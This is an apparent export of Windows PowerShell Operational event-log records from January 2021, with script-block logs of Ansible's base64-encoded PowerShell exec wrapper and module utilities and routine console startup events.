cm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluI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TUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2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bnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiICJQZW5kaW5nRmlsZVJlbmFtZU9wZXJhdGlvbnMiIC1FQSBJZ25vcmUKICAgICRDQlNSZWJvb3RTdGF0dXMgPSBHZXQtQ2hpbGRJdGVtICJIS0xNOlxcU09GV
ScriptBlock ID: 821dccf0-fb85-40e1-9324-d75d800c7708
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1998 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0002-6e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
kb3V0X3JlYWQsIG91dCBzdGRvdXRfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERPVVQgcGlwZSBzZXR1cCBmYWlsZWQiKTsKICAgICAgICAgICAgaWYgKCFTZXRIYW5kbGVJbmZvcm1hdGlvbihzdGRvdXRfcmVhZCwgSGFuZGxlRmxhZ3MuSU5IRVJJVCwgMCkpCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIlNURE9VVCBwaXBlIGhhbmRsZSBzZXR1cCBmYWlsZWQiKTsKCiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3RkZXJyX3JlYWQsIG91dCBzdGRlcnJfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZ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3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91dF9yZWFkLCBGaWxlQWNjZXNzLlJlYWQsIDQwOTYpOwogICAgICAgICAgICBTdHJlYW1SZWFkZ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RTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF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fb85-40e1-9324-d75d800c7708
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1997 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0002-6e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyY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V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dC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HdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMY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AgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1B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Ugc3RhcnR1cEluZm8KICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgc3Rkb3V0X3JlYWQsIHN0ZG91dF93cml0ZSwgc3RkZXJyX3JlYWQsIHN0ZGVycl93cml0ZSwgc3RkaW5fcmVhZCwgc3RkaW5fd3JpdGU7CiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3R
ScriptBlock ID: 821dccf0-fb85-40e1-9324-d75d800c7708
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1996 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0002-6e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1995 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4656 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:52 AM | 61e00a24-ee3b-0003-6f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4652 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1994 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4728 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:51 AM | 61e00a24-ee3b-0003-6f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1993 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4656 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:51 AM | 61e00a24-ee3b-0003-6f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1992 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4436 | 4440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:51 AM | 61e00a24-ee3b-0004-7e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4436 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1991 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4436 | 4508 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:51 AM | 61e00a24-ee3b-0004-7e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1990 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4436 | 4440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:51 AM | 61e00a24-ee3b-0004-7e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1989 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3312 | 848 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:49 AM | 61e00a24-ee3b-0001-600a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3312 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1988 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3312 | 4200 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:48 AM | 61e00a24-ee3b-0001-600a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1987 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3312 | 848 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:48 AM | 61e00a24-ee3b-0001-600a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1986 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3672 | 2360 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:18 AM | dfeadd90-ee34-0000-50ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3672 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1985 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3672 | 872 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:18 AM | dfeadd90-ee34-0000-50ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
